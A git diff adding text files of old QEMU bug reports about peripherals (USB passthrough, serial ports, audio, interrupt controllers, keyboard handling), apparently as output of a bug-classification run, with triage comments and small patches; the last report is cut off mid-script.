00000000..fb85bfc0 --- /dev/null +++ b/results/classifier/deepseek-1/output/peripherals/1187319 @@ -0,0 +1,14 @@ + +Ctrl-Alt-- and Ctrl-Alt-+ have no effect in SDL + +The manual page mentions Ctrl-Alt-- for shrinking a window and Ctrl-Alt-+ for enlarging it. Pressing these keys do not seem to have any effect. + +I tried -/= with and without holding shift and the numpad. By the way, the numpad plus and min do not have any effect in GTK either. + +Keyboard layout: US int with AltGr dead keys +version: 1.5.0 + +Looking through old bug tickets... is this still an issue with the latest version of QEMU? Or could we close this ticket nowadays? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/peripherals/1289788 b/results/classifier/deepseek-1/output/peripherals/1289788 new file mode 100644 index 00000000..bf04ffe1 --- /dev/null +++ b/results/classifier/deepseek-1/output/peripherals/1289788 @@ -0,0 +1,43 @@ + +MIDI access (not only adlib) hangs WinNT on QEMU 1.7.x + +Windows NT 4.0 and 2000 (including the latest git release), when enabling adlib (with sb16 already enabled) or the built-in synth of the es1370, hang on QEMU 1.7.x (also with 1.7.50) when they try to play MIDI files (like canyon.mid, etc). I have already tried bisecting but seems that this bug has been introduced sometime in 1.7.0's development time. + +Is this problem still reproducible with the latest version of QEMU? + + +On Mar 6, 2017, at 5:45 AM, <email address hidden> wrote: + +> +> Is this problem still reproducible with the latest version of QEMU? +> +> ** Changed in: qemu +> Status: New => Incomplete +> +> -- +> You received this bug notification because you are a member of qemu- +> devel-ml, which is subscribed to QEMU. +> https://bugs.launchpad.net/bugs/1289788 +> +> Title: +> MIDI access (not only adlib) hangs WinNT on QEMU 1.7.x +> +> Status in QEMU: +> Incomplete +> +> Bug description: +> Windows NT 4.0 and 2000 (including the latest git release), when enabling adlib (with sb16 already enabled) or the built-in synth of the es1370, hang on QEMU 1.7.x (also with 1.7.50) when they try to play MIDI files (like canyon.mid, etc). I have already tried bisecting but seems that this bug has been introduced sometime in 1.7.0's development time. +> Screenshot attached: http://goput.it/ig2l.png +> +> OS Used: Windows 7 x64 Ultimate SP1 +> command-line used: qemu-system-i386w.exe -L pc-bios -m 64 -cpu pentium -drive file=vbent40.img,if=floppy,id=fda -drive file=vhd.vhd,if=ide,media=disk,bus=0,unit=0,id=harddisk0 -drive file=E:,if=ide,media=cdrom,bus=1,unit=0,id=cdrom -net nic,model=pcnet -net user -vga std -device ES1370 -boot menu=on -monitor telnet:127.0.0.1:4444,server,nowait +> +> To manage notifications about this bug go to: +> https://bugs.launchpad.net/qemu/+bug/1289788/+subscriptions + +A midi file played very will using SB16. It didn't work at all with adlib, and it played poorly in es1370. I used Windows 2000 as the guest. There were no hangs. + + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/peripherals/1307281 b/results/classifier/deepseek-1/output/peripherals/1307281 new file mode 100644 index 00000000..cbe95ee1 --- /dev/null +++ b/results/classifier/deepseek-1/output/peripherals/1307281 @@ -0,0 +1,16 @@ + +qemu crash with assertion in usb_packet_complete_one + +qemu release verison: 1.7.1 +guest os : win7 32bits +qemu cmdline: +/usr/bin/qemu-system-x86_64 -name hch_test -S -machine pc-i440fx-1.7,accel=kvm,usb=off -cpu SandyBridge,+erms,+smep,+fsgsbase,+pdpe1gb,+rdrand,+f16c,+osxsave,+dca,+pcid,+pdcm,+xtpr,+tm2,+est,+smx,+vmx,+ds_cpl,+monitor,+dtes64,+pbe,+tm,+ht,+ss,+acpi,+ds,+vme -m 2048 -realtime mlock=off -smp 2,sockets=2,cores=12,threads=2 -uuid 5ad433c9-e490-42f3-b365-c30d756fbd70 -no-user-config -nodefaults -chardev socket,id=charmonitor,path=/var/lib/libvirt/qemu/hch_test.monitor,server,nowait -mon chardev=charmonitor,id=monitor,mode=control -rtc base=localtime -no-shutdown -global PIIX4_PM.disable_s3=1 -global PIIX4_PM.disable_s4=0 -device ich9-usb-ehci1,id=usb,bus=pci.0,addr=0x5.0x7 -device ich9-usb-uhci1,masterbus=usb.0,firstport=0,bus=pci.0,multifunction=on,addr=0x5 -device virtio-serial-pci,id=virtio-serial0,bus=pci.0,addr=0x6 -drive file=/opt/cvm/hch_test/hch_test.inst,if=none,id=drive-virtio-disk0,format=qcow2,cache=writeback -device virtio-blk-pci,scsi=off,bus=pci.0,addr=0x7,drive=drive-virtio-disk0,id=virtio-disk0,bootindex=1 -drive file=/opt/data/hugedisk/hch_test/hch_test_share.add,if=none,id=drive-virtio-disk1,format=qcow2,cache=writeback -device virtio-blk-pci,scsi=off,bus=pci.0,addr=0x8,drive=drive-virtio-disk1,id=virtio-disk1 -netdev tap,fd=26,id=hostnet0,vhost=on,vhostfd=27 -device virtio-net-pci,netdev=hostnet0,id=net0,mac=52:54:00:f2:05:b7,bus=pci.0,addr=0x3 -chardev pty,id=charserial0 -device isa-serial,chardev=charserial0,id=serial0 -chardev spicevmc,id=charchannel0,name=vdagent -device virtserialport,bus=virtio-serial0.0,nr=1,chardev=charchannel0,id=channel0,name=com.redhat.spice.0 -chardev socket,id=charchannel1,path=/var/lib/libvirt/qemu/hch_test.agent,server,nowait -device virtserialport,bus=virtio-serial0.0,nr=2,chardev=charchannel1,id=channel1,name=org.qemu.guest_agent.0 -device usb-tablet,id=input0 -spice port=5903,addr=0.0.0.0,disable-ticketing,seamless-migration=on -device qxl-vga,id=video0,ram_size=67108864,vram_size=67108864,bus=pci.0,addr=0x2 -device intel-hda,id=sound0,bus=pci.0,addr=0x4 -device hda-duplex,id=sound0-codec0,bus=sound0.0,cad=0 -readconfig /etc/qemu/ich9-ehci-uhci.cfg -chardev spicevmc,name=usbredir,id=usbredirchardev1 -device usb-redir,chardev=usbredirchardev1,id=usbredirdev1,bus=ehci.0 -chardev spicevmc,name=usbredir,id=usbredirchardev2 -device usb-redir,chardev=usbredirchardev2,id=usbredirdev2,bus=ehci.0 -chardev spicevmc,name=usbredir,id=usbredirchardev3 -device usb-redir,chardev=usbredirchardev3,id=usbredirdev3,bus=ehci.0 + +i use spice to connect to vm and utilize usb redirection. i plug a u-disk into a remote computer and start copy a big file (3G+) to u-disk and qemu was crashed in the middle of the transmission. + +i check the qemu log and found this log: "qemu-system-x86_64: hw/usb/core.c:438: usb_packet_complete_one: Assertion `p->stream || ((&ep->queue)->tqh_first) == p' failed". this crash can be reproduced every time. + +Triaging old bug tickets ... Can you still reproduce this problem with the latest version of QEMU (currently v2.9.0)? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/peripherals/1353346 b/results/classifier/deepseek-1/output/peripherals/1353346 new file mode 100644 index 00000000..a0f6367b --- /dev/null +++ b/results/classifier/deepseek-1/output/peripherals/1353346 @@ -0,0 +1,16 @@ + +ARMv7-M software-triggered interrupts-- unexpected behaviour + +The handling of the NVIC "Software Triggered Interrupt Register" in qemu-2.1.0/hw/intc/armv7m_nvic.c:375 isn't quite right. As things stand, writing a zero to the STIR ends up transferring control to vector table entry zero, which, on ARMv7-M, holds the reset value of the stack pointer. That's what I see with lm3s811evb emulation, and that's not what happens on my STM NUCLEO-F103RB board (Cortex-M3). + +Seems like an oversight-- the handler probably wants armv7m_nvic_set_pending(), not gic_set_pending_private(), and the IRQ number needs 16 added onto it to get the exception number for the interrupt. + +ARM DUI 0552A (Cortex-M3 Devices: Generic User's Guide), p. 134: + "Interrupt ID of the interrupt to trigger, in the range 0-239. For example, a value of 0x03 specifies interrupt IRQ3." + +Cheers, +Boris + +This bug was fixed in QEMU 2.9 as part of the rewrite of M profile exception handling. + + diff --git a/results/classifier/deepseek-1/output/peripherals/1476183 b/results/classifier/deepseek-1/output/peripherals/1476183 new file mode 100644 index 00000000..920ec21d --- /dev/null +++ b/results/classifier/deepseek-1/output/peripherals/1476183 @@ -0,0 +1,23 @@ + +can not create 4 serial port on window (guest os) + +qemu ver: 2.1.2-Latest + +guest os: window 7 64bit with 2 cpu + +problem: when qemu start with 4 serial port, on linux(rhel 7) guest os, /dev/ttyS0-4 is work fine. but on window 7 guest os, only show com1,com2 in device manager, how to get com3 & com4 ? + +qemu cmd: + -chardev spiceport,id=charserial0,name=org.qemu.console.serial.0 + -device isa-serial,chardev=charserial0,id=serial0 + -chardev spiceport,id=charserial1,name=org.qemu.console.serial.1 + -device isa-serial,chardev=charserial1,id=serial1 + -chardev spiceport,id=charserial2,name=org.qemu.console.serial.2 + -device isa-serial,chardev=charserial2,id=serial2 + -chardev spiceport,id=charserial3,name=org.qemu.console.serial.3 + -device isa-serial,chardev=charserial3,id=serial3 + +Looking through old bug tickets... can you still reproduce this issue with the latest version of QEMU and Windows? Or could we close this ticket nowadays? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/peripherals/1486768 b/results/classifier/deepseek-1/output/peripherals/1486768 new file mode 100644 index 00000000..bdb8c5ab --- /dev/null +++ b/results/classifier/deepseek-1/output/peripherals/1486768 @@ -0,0 +1,25 @@ + +BlackMagic USB3 video capture returns only blank frames in Windows (xHCI issue) + +Hi, + +I've got an Intensity Shuttle USB3; it's a HDMI video capture card. It doesn't have any Linux drivers, so I'm trying to get it to work in a Windows 10 guest inside QEMU. I'm running latest git as of today (2015-08-20). I use this command line: + +sudo x86_64-softmmu/qemu-system-x86_64 -enable-kvm -smp 2 -m 4096 -acpitable file=/sys/firmware/acpi/tables/MSDM -drive file=/home/sesse/windows.raw,if=virtio,format=raw -cpu host -netdev tap,id=hostnet0 -device virtio-net-pci,netdev=hostnet0,id=net0 -monitor stdio -device nec-usb-xhci,id=xhci -device usb-host,bus=xhci.0,vendorid=0x1edb,productid=0xbd3b -usbdevice tablet + +(I will add that the seemingly logical “host:1edb:bd3b,bus=xhci.0” did _not_ add the device at all. I don't know why, probably some parser issue?) + +The card is properly detected, and the driver thinks everything is fine, running on the virtualized USB3 host and all. Looking at usbmon, there's lots of isochronous frames during capture, and they reach the host (looking at USBpcap on the Windows 10 side). However, the driver refuses to capture any video—all frames become black in all applications I try (well, Media Express seems to hardly store any frames at all in the .avi). However, audio is captured without a hitch. Curiously enough, no dropped frames are reported. There's no sign of CPU shortage; both host and guest seem to be happy around 20% of one core. + +I am fairly certain this is an issue with the xHCI driver in QEMU, because if I give it the entire USB controller via VT-d, it works flawlessly, with video and all. For reference, here's the associated command line I use for that (after I've unbound it from the Linux system): + +sudo x86_64-softmmu/qemu-system-x86_64 -enable-kvm -smp 2 -m 4096 -acpitable file=/sys/firmware/acpi/tables/MSDM -drive file=/home/sesse/windows.raw,if=virtio,format=raw -cpu host -netdev tap,id=hostnet0 -device virtio-net-pci,netdev=hostnet0,id=net0 -monitor stdio -usbdevice tablet -device pci-assign,host=00:14.0 + +I can get USB pcap logs from both sides if you want, but they are huge (gigabytes) since the data rate is so high. + +Triaging old bug tickets... can you still reproduce this issue with the latest version of QEMU? Or could we close this ticket nowadays? + +I haven't tried this in a long time, and I already managed to do what I wanted to do (which was to write a free Linux driver :-) ). I guess you can close this; not because I believe it's fixed, but because it's not that important to me anymore. + +OK, thanks for your reply ... so I'm closing this ticket now + diff --git a/results/classifier/deepseek-1/output/peripherals/1587970 b/results/classifier/deepseek-1/output/peripherals/1587970 new file mode 100644 index 00000000..ff769994 --- /dev/null +++ b/results/classifier/deepseek-1/output/peripherals/1587970 @@ -0,0 +1,13 @@ + +QEMU Crashes when attaching USB 3.00 devices to xhci bus + +Using qemu 2.6 with a windows7 32-bit VM, if I plug a USB 3.0 memory stick in to a USB 3.0 port, then pass it through to the VM via the monitor (device_add usb-host,bus=xhci.0,hostbus=xx,hostaddr=xx,id=stick1) then qemu asserts and dies - I have seen 2 different asserts one is from the xchi module - Assertion `intr->er_full, and one is in core.c (line 400 I IIRCC) with "Assertion dev->state == 3 failed" +Tried to work around by only passing in an ehci controller to the VM, but then if I attach a usb 3.0 memory stick to that it doesn't work in windows. +I have made sure the xhci drivers in the windows VM are up to date, latest version of SeaBios etc, but at the moment, I have had to disable xhci in my system bios and just use ehci for everything. + +I also had this problem. You can try to configure the VM with core=1 and thread=1. See if the "intr->er_full" assertion still exist. + +Triaging old bug tickets... can you still reproduce this issue with the latest version of QEMU? Or could we close this ticket nowadays? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/peripherals/1596204 b/results/classifier/deepseek-1/output/peripherals/1596204 new file mode 100644 index 00000000..9be1b6ed --- /dev/null +++ b/results/classifier/deepseek-1/output/peripherals/1596204 @@ -0,0 +1,27 @@ + +UART problem in raspi2 + +I was trying to run the raspberry pi uart example at https://github.com/dwelch67/raspberrypi/tree/master/uart01 using qemu 2.6.0, but it didn't work. + +The steps I took were: +* Edit uart01/memmap and change origin to 0x10000 (which is the address qemu starts executing), +* make +* /usr/local/bin/qemu-system-arm -machine raspi2 -m 512M -nographic -gdb tcp::26000 -S -kernel uart01.bin + +Then start arm-none-eabi-gdb and run following commands: + +target remote localhost:26000 +symbol-file ./uart01.elf + + +Then, when I start the program, it seems that the GET32(AUX_MU_LSR_REG)&0x20 condition never becomes true. + +This works on actual hardware, so I am wondering if I'm doing any steps incorrectly or missing. + +This is because you're running a binary for the raspberry pi 1 on a model of the raspberry pi 2. The peripherals are at different locations on the two boards, and so your program doesn't work. You can fix that by changing all the register addresses that start 0x20..... to 0x3f...., or more complicatedly by using the boards/cpuid/ code in that raspberrypi repo to detect the correct PBASE value to use. + +Secondly, the output goes to the second serial port, which in your command line is not being directed anywhere. You can put the second serial port's output on stdio with the first serial port output thrown away using '-serial null -serial stdio'. (For more complicated redirections, see the QEMU docs.) + +If I do those two things, then the uart01 example runs fine on QEMU. + + diff --git a/results/classifier/deepseek-1/output/peripherals/1603779 b/results/classifier/deepseek-1/output/peripherals/1603779 new file mode 100644 index 00000000..91d514dd --- /dev/null +++ b/results/classifier/deepseek-1/output/peripherals/1603779 @@ -0,0 +1,28 @@ + +AC97 can allocate ~500MB of host RAM + +While working with qtest test cases generated via fuzzing with QEMU 2.5.0, I discovered some odd behavior for the AC97 virtual device with qemu-system-i386. If AC97_MIC_ADC_RATE is set to the value of 1, the QEMU process allocates over 500MB of additional host RAM. You probably would not normally notice this on a modern PC, except that I was using a "ulimit" command to restrict the maximum amount of virtual memory allowed for the QEMU process, so the process would crash with a SIGTRAP (signal 5) on the failed memory allocation. + +My minimized qtest code to reproduce the issue is: + +static void test_crash(void) +{ + uint64_t barsize; + dev = get_device(); + + dev_base[0] = qpci_iomap(dev, 0, &barsize); + dev_base[1] = qpci_iomap(dev, 1, &barsize); + qpci_device_enable(dev); + qpci_io_writew(dev, dev_base[0]+0x32, 0x00000001); +} + +I ran a "ulimit -sv 650000" command and then launched the tests/ac97-test binary with this crash test case included in it. I can then see the QEMU process crash on an allocation of 722538464 bytes. I can gradually increase the ulimit memory limit to ~1200000 and then no longer see the issue, hence my estimate of 500 MB of RAM allocated by the device. + + +This is an automated cleanup. This bug report has been moved +to QEMU's new bug tracker on gitlab.com and thus gets marked +as 'expired' now. Please continue with the discussion here: + + https://gitlab.com/qemu-project/qemu/-/issues/71 + + diff --git a/results/classifier/deepseek-1/output/peripherals/1668103 b/results/classifier/deepseek-1/output/peripherals/1668103 new file mode 100644 index 00000000..e3f64c71 --- /dev/null +++ b/results/classifier/deepseek-1/output/peripherals/1668103 @@ -0,0 +1,71 @@ + +Possible off-by-one error in priority handling of hw/PL190.c + +I have a problem when reading back VECTADDR in my proprietary OS's interrupt handler. + +Example client code: + + 1) Write INTENCLEAR to clear all interrupt enable bits + 2) Set all 16 vector control registers to zero + 3) Set vector address #2 to value 2 + 4) Set vector control #2 to 0x21 (vector_interrupt_enable(0x20) | vector_interrupt_source(0x1) ) + 5) Enable interrupt 1 by writing 0x2 to INTENABLE + 6) In interrupt handler: read VECTADDR [should read 0x2 (active IRQs vector address as set in step 3), reads 0x0 (active vector address index 3 instead of index 2)] + +Problem: + +So, for me, the block commented with /* Read vector address at the start of an ISR... */ in hw/pl190.c has an off by-one error and does not return the vector address of the pending interrupt, but of the next one in the list of priorities (i.e. vector address 3). + +Solution: + +In pl190_update_vectors(), also set the priority bit for the current priority (1<<i) interrupt (if enabled) in s->prio_mask[i] in addition to those of higher priority enabled interrupts. This will cause the loop in the read handling of VECTADDR to terminate an iteration earlier and will deliver the correct interrupt priority as iteration variable i subsequently used for addressing. + +I'll try to provide a patch for this. + +From 0cd0c1346f9adb7b90df3e4e30a5904eeda33bfa Mon Sep 17 00:00:00 2001 +From: Marc Bommert <email address hidden> +Date: Sun, 26 Feb 2017 22:08:49 +0100 +Subject: [PATCH] Fix off-by-one error in priority handling when reading + VECTADDR: Also, if enabled, have the "current" priority bit (1<<i) set in + s->prio_mask[i]. + +Signed-off-by: Marc Bommert <email address hidden> +--- + hw/intc/pl190.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/hw/intc/pl190.c b/hw/intc/pl190.c +index 55ea15d..0369da8 100644 +--- a/hw/intc/pl190.c ++++ b/hw/intc/pl190.c +@@ -80,12 +80,12 @@ static void pl190_update_vectors(PL190State *s) + mask = 0; + for (i = 0; i < 16; i++) + { +- s->prio_mask[i] = mask; + if (s->vect_control[i] & 0x20) + { + n = s->vect_control[i] & 0x1f; + mask |= 1 << n; + } ++ s->prio_mask[i] = mask; + } + s->prio_mask[16] = mask; + pl190_update(s); +-- +2.5.0 + + +"Fix committed" doesn't seem right -- that's only when a patch is actually committed to QEMU's git tree... + + +We do not take patches from the bug tracker, please send it to the qemu-devel mailing list instead. See http://wiki.qemu-project.org/Contribute/SubmitAPatch for details. + +For a one-off one-liner bugfix patch it's easier for me to grab it from the bug tracker than require the submitter to resend, though... I'll have a look at it later today. + + + +This turns out to be because Marc had a very out-of-date copy of pl190.c which was missing the fix for this bug in commit 14c126baf1c38607c5b. (Further discussion in list thread +https://lists.gnu.org/archive/html/qemu-devel/2017-02/msg06580.html). + + diff --git a/results/classifier/deepseek-1/output/peripherals/1689003 b/results/classifier/deepseek-1/output/peripherals/1689003 new file mode 100644 index 00000000..d90bf2fc --- /dev/null +++ b/results/classifier/deepseek-1/output/peripherals/1689003 @@ -0,0 +1,22 @@ + +USB passthrough should not fail if SET CONFIGURATION fails + +QEMU's USB passthrough was not working for my new smartphone. + +While analyzing the problem, I found out that a SET CONFIGURATION Request was NACKed by the USB device (probably because a SET CONFIGURATION request was already sent from the host to the device). + +So I wrote a simple program to fake a successful call to libusb_set_configuration and did an LD_PRELOAD on this program before starting qemu, and it worked. + +Looking at QEMU's code in host-libusb.c, I can see that QEMU does not try to claim the interface if its call to libusb_set_configuration fails. + +I think QEMU should try to claim the device anyway even if libusb_set_configuration fails. + +I did my tests against QEMU 2.6.2, but as I can see from the source code, this problem should happen on all versions. + +The attached simple program, compiled as a library, loaded by LD_PRELOAD before starting QEMU, avoids the problem by faking success of libusb_set_configuration(), as a workaround. + +The QEMU project is currently considering to move its bug tracking to another system. For this we need to know which bugs are still valid and which could be closed already. Thus we are setting older bugs to "Incomplete" now. +If you still think this bug report here is valid, then please switch the state back to "New" within the next 60 days, otherwise this report will be marked as "Expired". Thank you and sorry for the inconvenience. + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/peripherals/1715296 b/results/classifier/deepseek-1/output/peripherals/1715296 new file mode 100644 index 00000000..31842ffa --- /dev/null +++ b/results/classifier/deepseek-1/output/peripherals/1715296 @@ -0,0 +1,23 @@ + +qemu: invalid serial port configuration + +The tty_serial_init() function sets the port c_oflags as follows: +tty.c_oflag |= OPOST not clearing ONLCR, ONLRET and others. +The result is that the postprocess output is enabled and host translates 0xa (LF) to 0xd 0xa (CR LF) which breaks the binary transmissions on serial port even if you set the port to raw mode (no matters if on host and/or guest). +The issue has been reported 11 years ago on qemu-devel mailing list: +https://lists.nongnu.org/archive/html/qemu-devel/2006-06/msg00196.html +There was also a FreeBSD patch including the fix: +https://lists.freebsd.org/pipermail/freebsd-ports/2006-October/036390.html + +I think the correct port configuration is: +tty.c_iflag &= ~(IGNBRK|BRKINT|PARMRK|ISTRIP|INLCR|IGNCR|ICRNL|IXON|IMAXBEL); +tty.c_oflag &= ~OPOST; + +In such case the host will perform no output processing and will pass the data as is. +And the guest will be able to configure input/output processing exactly as it wants. + +I believe the following bug is related: https://bugs.launchpad.net/qemu/+bug/1407813 + +Patch has now been committed here: +https://git.qemu.org/?p=qemu.git;a=commitdiff;h=12fb0ac0575df83cec72ec + diff --git a/results/classifier/deepseek-1/output/peripherals/1721187 b/results/classifier/deepseek-1/output/peripherals/1721187 new file mode 100644 index 00000000..e7bc79e5 --- /dev/null +++ b/results/classifier/deepseek-1/output/peripherals/1721187 @@ -0,0 +1,38 @@ + +install Centos7 or fedora27 on qemu on windows8.1 + +Hello, +I have tried to install CentOs or Fedora27 on my Windows8 using QEMU. I work on notepad with 4GB. +Unfortunatly, my touchpad nor my usb-mouse are not recognise on the graphical installation of CentOs and Fedora installation. So, I cannot install them. +Here are the commands I use for installation : + +qemu-img create -f qcow2 fedora27b2_hd.qcow2 80G + +qemu-system-x86_64 -k fr -hda fedora27b2_hd.qcow2 -cdrom Fedora-Workstation-Live-x86_64-27_Beta-1.5.iso -m 512 -boot d + +I have tried to add the option : -device usb-mouse but, I got the error message that no 'usb-bus' found for the usb-mouse device. + +What is wrong ? QEMU or my installation command ? + +Thank, BRgds, +Laurent + +Which version of QEMU are you using? Did you compile QEMU on your own or are you using a pre-build binary? +Anyway, to be able to use USB devices, you've got to specify the "-usb" parameter when starting QEMU. + +I use qemu-w64-setup-20170830.exe on Windows8-64bits +I tried the following command, but it is very, very slow : + +qemu-img create centos7_hd.img 80G + +qemu-system-x86_64 -k fr -cpu core2duo -m 1024 -usb -device usb-mouse -hda centos7_hd.img --drive media=cdrom,file=CentOS-7-x86_64-Everything-1708.iso,readonly + +BRgds, +Laurent + + +So I assume the mouse is working now? I think we then can close this ticket. +Concerning the speed: QEMU is emulating the CPU by default, so this is of course slower than running everything natively. You've got to use an accelerator to get more speed - for Windows, you can use HAXM: https://www.qemu.org/2017/11/22/haxm-usage-windows/ + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/peripherals/1749223 b/results/classifier/deepseek-1/output/peripherals/1749223 new file mode 100644 index 00000000..0218a122 --- /dev/null +++ b/results/classifier/deepseek-1/output/peripherals/1749223 @@ -0,0 +1,38 @@ + +mouse offset or invisible wall 2.11.0-3 + +(There was another post, I'm not sure if it is related though. Also not sure if it's Arch related, I wouldn't be surprised as I normally use Gentoo and have less problems with Gentoo.) + + +qemu-system-x86_64 -enable-kvm -M q35 -cpu host -m 8192 -vga vmware -smp 4,sockets=1,cores=4,threads=1 -drive file=/path/to/my.img,if=virtio -soundhw ac97 -usb -monitor unix:/tmp/qemu-mon,server,nowait -usb --usbdevice host:0000:ffff -device vfio-pci,host=00:00.0 -alt-grab & + + + +When I grab the mouse in/out of the VM I tend to get an "invisible wall" half of the time. +I can push past if I fling the mouse through it but not if I slowly keep moving down. + +The direction always seems to be down when I hit a wall (so a Y offset? maybe?) +This has been happening since at least version 2.10. + +Not sure if "-alt-grab" has anything to do with it, that'd be my first guess. + +It sounds like I have the same problem. + +There is a virtual wall where the mouse cursor goes from the guest window to the host desktop. +This virtual wall/cut off point is consistent. +Moving the mouse faster seems to break through this wall and puts the wall at a different place. + +For me this happens on a host with ubuntu 19.10 with wayland. +I don't have the issue on ubuntu 19.10 with X. + +The QEMU project is currently considering to move its bug tracking to another system. For this we need to know which bugs are still valid and which could be closed already. Thus we are setting older bugs to "Incomplete" now. +If you still think this bug report here is valid, then please switch the state back to "New" within the next 60 days, otherwise this report will be marked as "Expired". Or mark it as "Fix Released" if the problem has been solved with a newer version of QEMU already. Thank you and sorry for the inconvenience. + + +This is an automated cleanup. This bug report has been moved to QEMU's +new bug tracker on gitlab.com and thus gets marked as 'expired' now. +Please continue with the discussion here: + + https://gitlab.com/qemu-project/qemu/-/issues/72 + + diff --git a/results/classifier/deepseek-1/output/peripherals/1767176 b/results/classifier/deepseek-1/output/peripherals/1767176 new file mode 100644 index 00000000..ccd4feb0 --- /dev/null +++ b/results/classifier/deepseek-1/output/peripherals/1767176 @@ -0,0 +1,52 @@ + +GTK build fails with qemu 2.12.0 + +With the 2.12.0 release of QEMU passing `--enable-gtk` to configure causes the build to fail. I'm running macOS 10.13.5 with Xcode 9.3 FWIW. + +I'm building against GTK 2.24.32, which I appreciate is no longer the preferred version here, but I don't think the error is related to that aspect. I'll try and find the time later to attempt a GTK3 build to check that though. + +``` +ui/gtk.c:1147:16: error: use of undeclared identifier 'qemu_input_map_osx_to_qcode'; did you mean 'qemu_input_map_usb_to_qcode'? + return qemu_input_map_osx_to_qcode; + ^~~~~~~~~~~~~~~~~~~~~~~~~~~ + qemu_input_map_usb_to_qcode +/private/tmp/qemu-20180426-60786-1av6pq8/qemu-2.12.0/include/ui/input.h:99:22: note: 'qemu_input_map_usb_to_qcode' declared here +extern const guint16 qemu_input_map_usb_to_qcode[]; + ^ +``` + +I tried poking around locally by applying the following diff, based off of a very brief glance over the code involved, but that simply causes the build to error out in a different way at a later point, so I assume I'm doing something stupid. + + +``` +diff --git a/Makefile b/Makefile +index d71dd5b..e857c3c 100644 +--- a/Makefile ++++ b/Makefile +@@ -313,6 +313,7 @@ KEYCODEMAP_FILES = \ + ui/input-keymap-qnum-to-qcode.c \ + ui/input-keymap-usb-to-qcode.c \ + ui/input-keymap-win32-to-qcode.c \ ++ ui/input-keymap-osx-to-qcode.c \ + ui/input-keymap-x11-to-qcode.c \ + ui/input-keymap-xorgevdev-to-qcode.c \ + ui/input-keymap-xorgkbd-to-qcode.c \ +diff --git a/include/ui/input.h b/include/ui/input.h +index 16395ab..8183840 100644 +--- a/include/ui/input.h ++++ b/include/ui/input.h +@@ -101,6 +101,9 @@ extern const guint16 qemu_input_map_usb_to_qcode[]; + extern const guint qemu_input_map_win32_to_qcode_len; + extern const guint16 qemu_input_map_win32_to_qcode[]; + ++extern const guint qemu_input_map_osx_to_qcode_len; ++extern const guint16 qemu_input_map_osx_to_qcode[]; ++ + extern const guint qemu_input_map_x11_to_qcode_len; + extern const guint16 qemu_input_map_x11_to_qcode[]; +``` + +Reproduces with GTK+3 rather than GTK+ as expected, FWIW. + +Resolved via https://git.qemu.org/?p=qemu.git;a=patch;h=656282d245b49b84d4a1a47d7b7ede482d541776, FYI. + diff --git a/results/classifier/deepseek-1/output/peripherals/1831362 b/results/classifier/deepseek-1/output/peripherals/1831362 new file mode 100644 index 00000000..a04a7592 --- /dev/null +++ b/results/classifier/deepseek-1/output/peripherals/1831362 @@ -0,0 +1,37 @@ + +European keyboard PC-105 deadkey + +With a freshly compiled version of qemu 4.0.50 on Windows 10 (host) + +I am using 3 different Belgian keyboards and I have the same behaviour +- 2 USB keyboards (Logitech and HP) and +- the keyboard of my laptop (HP) + +3 characters on the same key cannot be used (the key seams to be dead): +< (less than), +> (greater than) used with the combination of LShift or RShift +\ (backslash) used with the combination of AltGr + +Using grub command mode from an archlinux installation (5.1.4) +The keyboard seams to be a mix of azerty and qwerty keyboard +all letters are correctly mapped but all numbers and special +characters are not + +Using sendkey in monitor +"sendkey <" results in : \ +"sendkey shift-<" results in : | +"sendkey ctrl-alt-<" results in : nothing + +REM: VirtualBox can handle this key and with the showkey command + from the archlinux kbd package, it shows : + keycode 86 press + keycode 86 release + + +This is an automated cleanup. This bug report has been moved to QEMU's +new bug tracker on gitlab.com and thus gets marked as 'expired' now. +Please continue with the discussion here: + + https://gitlab.com/qemu-project/qemu/-/issues/174 + + diff --git a/results/classifier/deepseek-1/output/peripherals/1862887 b/results/classifier/deepseek-1/output/peripherals/1862887 new file mode 100644 index 00000000..89c90993 --- /dev/null +++ b/results/classifier/deepseek-1/output/peripherals/1862887 @@ -0,0 +1,88 @@ + +qemu does not load pulseaudio modules properly + +Hello, + +This is on Arch-linux(latest) and the qemu 4.2.0 version made from git clone https://github.com/spheenik/qemu.git +with: + ./configure --prefix=/opt/qemu-test --python=/usr/bin/python2 --target-list=x86_64-softmmu +--audio-drv-list=pa --disable-werror +added to the build. + +I've been workin on a passthrough Windows 10 vm this month and have been steadily seeing some promising progress. My block/issue at the moment is integrating the audio now that the GPU has been succesfully passed through. +I've been going back and forth between the audio options for Pulseaudio and cannot change the following issue: +pulseaudio: pa_context_connect() failed +pulseaudio: Reason: Connection refused +pulseaudio: Failed to initialize PA contextlibusb: error [udev_hotplug_event] ignoring udev action bind +I leave my current operable build followed by some of the options that I have tried using to correct this despite the following errors not changing + +This is my current operable build: + +#!/bin/bash + +vmname="windows10vm" + +if ps -ef | grep /opt/qemu-test/bin/qemu-system-x86_64 | grep -q multifunction=on; then +echo "A passthrough VM is already running." & +exit 1 + +else + +/opt/qemu-test/bin/qemu-system-x86_64 \ +-m 12G \ +-drive id=disk0,if=virtio,cache=none,format=raw,file=.../win2.img \ +-drive file=.../Win10_1909_English_x64.iso,index=1,media=cdrom \ +-drive file=.../virtio-win-0.1.171.iso,index=2,media=cdrom \ +-boot order=dc \ +-bios /usr/share/ovmf/x64/OVMF_CODE.fd \ +-name $vmname,process=$vmname \ +-machine type=q35,accel=kvm,vmport=off \ +-cpu host,kvm=off \ +-smp 3,sockets=1,cores=3,threads=1 \ +-device virtio-balloon \ +-rtc clock=host,base=localtime \ +-vga none \ +-nographic \ +-serial none \ +-parallel none \ +-soundhw hda \ +-usb \ +-device usb-host,vendorid=...,productid=... \ +-device usb-host,vendorid=...,productid=... \ +-device usb-host,vendorid=...,productid=... \ +-device vfio-pci,host=...,multifunction=on \ +-device vfio-pci,host=... \ +-device e1000,netdev=net0 \ +-netdev user,id=net0,hostfwd=tcp::...-:22 \ + +Here's a list of setting combinations I had tried to resolve this: + +#export 